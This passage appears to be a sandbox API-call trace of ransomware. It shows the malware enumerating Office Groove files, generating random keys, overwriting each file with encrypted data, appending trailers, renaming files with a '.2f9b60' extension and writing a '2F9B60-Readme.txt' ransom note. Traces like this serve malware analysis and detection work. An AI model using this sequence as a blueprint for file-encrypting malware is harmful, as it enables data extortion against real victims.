ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.623] wcscmp (_String1="..", _String2=".") returned 1 [0221.623] wcscmp (_String1="..", _String2="..") returned 0 [0221.623] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x1ce1fcd0 | out: lpFindFileData=0x1ce1fcd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x991bbe00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eaf6290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x991bbe00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADD.GIF", cAlternateFileName="")) returned 1 [0221.623] wcscmp (_String1="ADD.GIF", _String2=".") returned 1 [0221.623] wcscmp (_String1="ADD.GIF", _String2="..") returned 1 [0221.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x43111ce0 [0221.623] wcscpy (in: _Dest=0x43111ce0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4" [0221.623] wcscat (in: _Dest=0x43111ce0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" [0221.623] wcscat (in: _Dest=0x43111ce0, _Source="ADD.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\ADD.GIF") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\ADD.GIF" [0221.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\ADD.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\add.gif")) returned 0x20 [0221.623] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\ADD.GIF", dwFileAttributes=0x20) returned 1 [0221.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\ADD.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\add.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2e44 [0221.625] GetFileSizeEx (in: hFile=0x2e44, lpFileSize=0x2c53fa60 | out: lpFileSize=0x2c53fa60*=580) returned 1 [0221.625] SetFilePointerEx (in: hFile=0x2e44, liDistanceToMove=0x240, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.625] ReadFile (in: hFile=0x2e44, lpBuffer=0x2c53f9e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c53fa28, lpOverlapped=0x0 | out: lpBuffer=0x2c53f9e0*, lpNumberOfBytesRead=0x2c53fa28*=0x4, lpOverlapped=0x0) returned 1 [0221.626] SetFilePointerEx (in: hFile=0x2e44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202667b0 [0221.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266840 [0221.627] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267f80 [0221.627] NtQuerySystemTime (in: CurrentTime=0x2c53f920 | out: CurrentTime=0x2c53f920*=132462178256146000) returned 0x0 [0221.627] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x7191f8cd [0221.627] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x45bdbd53 [0221.627] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x4128386e [0221.627] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x60922c2f [0221.627] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x3043ffb6 [0221.627] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x789ea2fd [0221.627] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x53faa0f3 [0221.627] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x7959bb43 [0221.627] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x35b8e468 [0221.627] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x368ecaf3 [0221.627] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x7b19ca0c [0221.627] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x229bda32 [0221.627] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x5980cf67 [0221.627] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x2c4f1bb8 [0221.627] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x72e64544 [0221.627] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x6624b7ab [0221.627] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x4ec921cc [0221.627] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x76d81867 [0221.627] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x7b9f7e1b [0221.627] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x62c64ce0 [0221.627] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x6e535759 [0221.627] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x5bbd50b2 [0221.627] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x76e76fd8 [0221.628] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x107a9c22 [0221.628] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x65bd79d6 [0221.628] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x2be8b43b [0221.628] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x3079aed6 [0221.628] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x45bf694c [0221.628] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x41d270a [0221.628] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x29f5baa6 [0221.628] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x19fb9ae4 [0221.628] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x2c05fe6b [0221.635] ReadFile (in: hFile=0x2e44, lpBuffer=0x42838200, nNumberOfBytesToRead=0x244, lpNumberOfBytesRead=0x2c53f910, lpOverlapped=0x0 | out: lpBuffer=0x42838200*, lpNumberOfBytesRead=0x2c53f910*=0x244, lpOverlapped=0x0) returned 1 [0221.635] SetFilePointerEx (in: hFile=0x2e44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.635] WriteFile (in: hFile=0x2e44, lpBuffer=0x20468750*, nNumberOfBytesToWrite=0x244, lpNumberOfBytesWritten=0x2c53f914, lpOverlapped=0x0 | out: lpBuffer=0x20468750*, lpNumberOfBytesWritten=0x2c53f914*=0x244, lpOverlapped=0x0) returned 1 [0222.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb180 [0222.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb150 [0222.935] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb150) returned 1 [0222.935] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20468750) returned 1 [0222.935] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42838200) returned 1 [0222.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869b40) returned 1 [0222.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61560) returned 1 [0222.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1cddb150 [0222.937] SetFilePointerEx (in: hFile=0x2e44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0222.937] WriteFile (in: hFile=0x2e44, lpBuffer=0x431a8a50*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c53fa30, lpOverlapped=0x0 | out: lpBuffer=0x431a8a50*, lpNumberOfBytesWritten=0x2c53fa30*=0x100, lpOverlapped=0x0) returned 1 [0223.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce612e0 [0223.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86ce40 [0223.432] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202644d0 [0223.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202644d0) returned 1 [0223.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b82cfe0 [0223.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202644d0 [0223.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202674a0 [0223.434] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202674a0) returned 1 [0223.435] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ce40) returned 1 [0223.435] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce612e0) returned 1 [0223.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1d) returned 0x202674a0 [0223.435] sprintf (in: _Dest=0x202674a0, _Format="%c%c" | out: _Dest="c7") returned 2 [0223.435] sprintf (in: _Dest=0x202674a2, _Format="%c%c" | out: _Dest="a6") returned 2 [0223.435] sprintf (in: _Dest=0x202674a4, _Format="%c%c" | out: _Dest="eb") returned 2 [0223.435] sprintf (in: _Dest=0x202674a6, _Format="%c%c" | out: _Dest="69") returned 2 [0223.436] sprintf (in: _Dest=0x202674a8, _Format="%c%c" | out: _Dest="75") returned 2 [0223.436] sprintf (in: _Dest=0x202674aa, _Format="%c%c" | out: _Dest="5e") returned 2 [0223.436] sprintf (in: _Dest=0x202674ac, _Format="%c%c" | out: _Dest="ca") returned 2 [0223.436] sprintf (in: _Dest=0x202674ae, _Format="%c%c" | out: _Dest="af") returned 2 [0223.436] sprintf (in: _Dest=0x202674b0, _Format="%c%c" | out: _Dest="4b") returned 2 [0223.436] sprintf (in: _Dest=0x202674b2, _Format="%c%c" | out: _Dest="07") returned 2 [0223.436] sprintf (in: _Dest=0x202674b4, _Format="%c%c" | out: _Dest="38") returned 2 [0223.436] sprintf (in: _Dest=0x202674b6, _Format="%c%c" | out: _Dest="b6") returned 2 [0223.436] sprintf (in: _Dest=0x202674b8, _Format="%c%c" | out: _Dest="01") returned 2 [0223.436] sprintf (in: _Dest=0x202674ba, _Format="%c%c" | out: _Dest="c0") returned 2 [0223.436] RtlInitAnsiString (in: DestinationString=0x2c53faa8, SourceString="c7a6eb69755ecaaf4b0738b601c0" | out: DestinationString="c7a6eb69755ecaaf4b0738b601c0") [0223.436] RtlAnsiStringToUnicodeString (in: DestinationString=0x2c53fa78, SourceString="c7a6eb69755ecaaf4b0738b601c0", AllocateDestinationString=1 | out: DestinationString="c7a6eb69755ecaaf4b0738b601c0") returned 0x0 [0223.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1ce62550 [0223.437] wcscat (in: _Dest=0x43113690, _Source="c7a6eb6" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\c7a6eb6") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\c7a6eb6" [0223.437] wcscat (in: _Dest=0x43113690, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\c7a6eb6.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\c7a6eb6.2f9b60" [0223.437] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\c7a6eb6.2f9b60", NtPathName=0x2c53fa50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\c7a6eb6.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0223.437] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe2) returned 0x1ceb55d0 [0223.700] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb55d0) returned 1 [0223.700] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42cc9670) returned 1 [0223.700] NtQueryInformationFile (in: FileHandle=0x2e44, IoStatusBlock=0x2c53fab8, FileInformation=0x2c53fac8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2c53fab8, FileInformation=0x2c53fac8) returned 0x0 [0223.700] NtSetInformationFile (FileHandle=0x2e44, IoStatusBlock=0x2c53fab8, FileInformation=0x2c53fac8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0223.800] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43113690) returned 1 [0223.802] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62550) returned 1 [0223.802] FlushFileBuffers (hFile=0x2e44) returned 1 [0224.008] CloseHandle (hObject=0x2e44) returned 1 [0224.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x1b776d90 [0224.952] wcscpy (in: _Dest=0x1b776d90, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" [0224.952] wcscat (in: _Dest=0x1b776d90, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\2F9B60-Readme.txt" [0224.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\2f9b60-readme.txt")) returned 0xffffffff [0224.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x294c [0225.519] WriteFile (in: hFile=0x294c, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2c53f970, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2c53f970*=0xba9, lpOverlapped=0x0) returned 1 [0225.967] CloseHandle (hObject=0x294c) returned 1 [0226.553] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776d90) returned 1 [0226.553] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43111ce0) returned 1 [0226.553] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x1ce1fcd0 | out: lpFindFileData=0x1ce1fcd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x991bbe00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x991bbe00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xbe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddToViewArrow.jpg", cAlternateFileName="ADDTOV~1.JPG")) returned 1 [0226.553] wcscmp (_String1="AddToViewArrow.jpg", _String2=".") returned 1 [0226.553] wcscmp (_String1="AddToViewArrow.jpg", _String2="..") returned 1 [0226.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x1b776d90 [0226.553] wcscpy (in: _Dest=0x1b776d90, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4" [0226.553] wcscat (in: _Dest=0x1b776d90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" [0226.553] wcscat (in: _Dest=0x1b776d90, _Source="AddToViewArrow.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\AddToViewArrow.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\AddToViewArrow.jpg" [0226.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\AddToViewArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\addtoviewarrow.jpg")) returned 0x20 [0226.554] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\AddToViewArrow.jpg", dwFileAttributes=0x20) returned 1 [0226.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\AddToViewArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\addtoviewarrow.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1e3c [0226.555] GetFileSizeEx (in: hFile=0x1e3c, lpFileSize=0x2c53fa60 | out: lpFileSize=0x2c53fa60*=3048) returned 1 [0226.555] SetFilePointerEx (in: hFile=0x1e3c, liDistanceToMove=0xbe4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.555] ReadFile (in: hFile=0x1e3c, lpBuffer=0x2c53f9e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c53fa28, lpOverlapped=0x0 | out: lpBuffer=0x2c53f9e0*, lpNumberOfBytesRead=0x2c53fa28*=0x4, lpOverlapped=0x0) returned 1 [0226.557] SetFilePointerEx (in: hFile=0x1e3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aadd0 [0226.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa0b0 [0226.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaf20 [0226.558] NtQuerySystemTime (in: CurrentTime=0x2c53f920 | out: CurrentTime=0x2c53f920*=132462178305442000) returned 0x0 [0226.558] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x76e02471 [0226.558] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x63f05cb2 [0226.558] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x547085d8 [0226.558] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x213a2cf [0226.558] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x703b169e [0226.558] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x64cb9253 [0226.558] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x50d8b034 [0226.558] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x10169688 [0226.558] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x37afc2de [0226.558] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x33812e36 [0226.558] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x68757805 [0226.558] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x37178d2e [0226.558] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x4a9ddf2b [0226.558] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x2b23dbd6 [0226.558] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x5e696a31 [0226.558] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x7f1481fd [0226.558] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x3fa4d284 [0226.558] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x6c90bd4 [0226.558] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x227da4b2 [0226.558] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x6b1af803 [0226.558] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x4f192965 [0226.558] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x10f0613e [0226.558] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x5c968844 [0226.558] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x6dbedba1 [0226.558] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x4c9d22dd [0226.558] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x576367b3 [0226.558] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x50718817 [0226.558] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x40b73233 [0226.558] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x6f776e4d [0226.558] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0xee959eb [0226.558] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x462b88ce [0226.558] RtlRandomEx (in: Seed=0x2c53f910 | out: Seed=0x2c53f910) returned 0x2f7ce54f [0226.559] ReadFile (in: hFile=0x1e3c, lpBuffer=0x41cd00b0, nNumberOfBytesToRead=0xbe8, lpNumberOfBytesRead=0x2c53f910, lpOverlapped=0x0 | out: lpBuffer=0x41cd00b0*, lpNumberOfBytesRead=0x2c53f910*=0xbe8, lpOverlapped=0x0) returned 1 [0226.560] SetFilePointerEx (in: hFile=0x1e3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.560] WriteFile (in: hFile=0x1e3c, lpBuffer=0x41cf5950*, nNumberOfBytesToWrite=0xbe8, lpNumberOfBytesWritten=0x2c53f914, lpOverlapped=0x0 | out: lpBuffer=0x41cf5950*, lpNumberOfBytesWritten=0x2c53f914*=0xbe8, lpOverlapped=0x0) returned 1 [0227.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab940 [0227.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaad0 [0227.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaad0) returned 1 [0227.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cf5950) returned 1 [0227.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cd00b0) returned 1 [0227.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e790) returned 1 [0227.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62870) returned 1 [0227.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1b7a96a0 [0227.072] SetFilePointerEx (in: hFile=0x1e3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0227.072] WriteFile (in: hFile=0x1e3c, lpBuffer=0x166f20*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2c53fa30, lpOverlapped=0x0 | out: lpBuffer=0x166f20*, lpNumberOfBytesWritten=0x2c53fa30*=0x116, lpOverlapped=0x0) returned 1 [0235.148] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x166f20) returned 1 [0235.148] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa9a0) returned 1 [0235.148] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaad0) returned 1 [0235.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a96a0) returned 1 [0235.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab940) returned 1 [0235.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa0b0) returned 1 [0235.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aab90) returned 1 [0235.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa9b0) returned 1 [0235.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xda) returned 0x423aaa10 [0235.150] wcscpy (in: _Dest=0x423aaa10, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\AddToViewArrow.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\AddToViewArrow.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\AddToViewArrow.jpg" [0235.151] wcscat (in: _Dest=0x423aaa10, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\AddToViewArrow.jpg.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\AddToViewArrow.jpg.2f9b60" [0235.151] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\AddToViewArrow.jpg.2f9b60", NtPathName=0x2c53fa50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: 